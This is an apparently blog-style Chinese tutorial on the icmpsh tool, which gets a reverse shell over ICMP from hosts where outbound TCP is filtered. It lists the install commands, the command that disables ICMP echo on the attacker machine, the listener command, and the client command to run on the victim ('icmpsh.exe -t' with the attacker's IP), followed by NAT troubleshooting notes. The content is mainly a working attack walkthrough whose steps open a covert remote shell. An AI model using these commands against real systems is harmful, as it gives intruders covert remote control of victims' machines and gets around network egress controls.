项目地址:https://github.com/bdamele/icmpsh

背景

很多时候网络运维人员只会允许流量进入已知主机,端口和服务(在入口处过滤),当身处DMZ区域,通过TCP获取反向shell是不可能的,但是如果使用UDP(DNS隧道)或者icmp那么还是可以尝试

ICMPSH

icmpsh是由python2 编写的,Linux 默认自带python2,但是无pip2,下载pip2(),然后下载项目(git clone )

  1. // 下载pip2
  2. wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
  3. // 安装pip2,默认python 版本是python2
  4. python get-pip.py
  5. // 下载项目
  6. git clone https://github.com/bdamele/icmpsh

使用方法

条件

  1. 攻击机关闭icmp回应包
  2. 受害机能发送icmp包到攻击机

    1. pip install impacket -i https://pypi.douban.com/simple
    2. // 首先在攻击机上关闭icmp回显
    3. sysctl -w net.ipv4.icmp_echo_ignore_all=1
    4. // 其次,192.168.93.131是攻击机
    5. python icmpsh_m.py 192.168.93.131 192.168.93.134
    6. // 最后,在受害机执行
    7. icmpsh.exe -t 192.168.93.131

    image.png

    两个问题

  3. 当前演示的环境是windows,那么受害机是Linux如何getshell ?

Linux 主机暂时未找到解决办法。。

  1. 为什么使用虚拟机(NAT模式下),主机作为受害者却始终不能getshell ?

因为NAT模式是交换机NAT,从宿主机走出来的流量要先经过192.168.93.1 然后才能走到192.168.93.131(攻击机),所以我们需要监听的是交换机的地址
image.png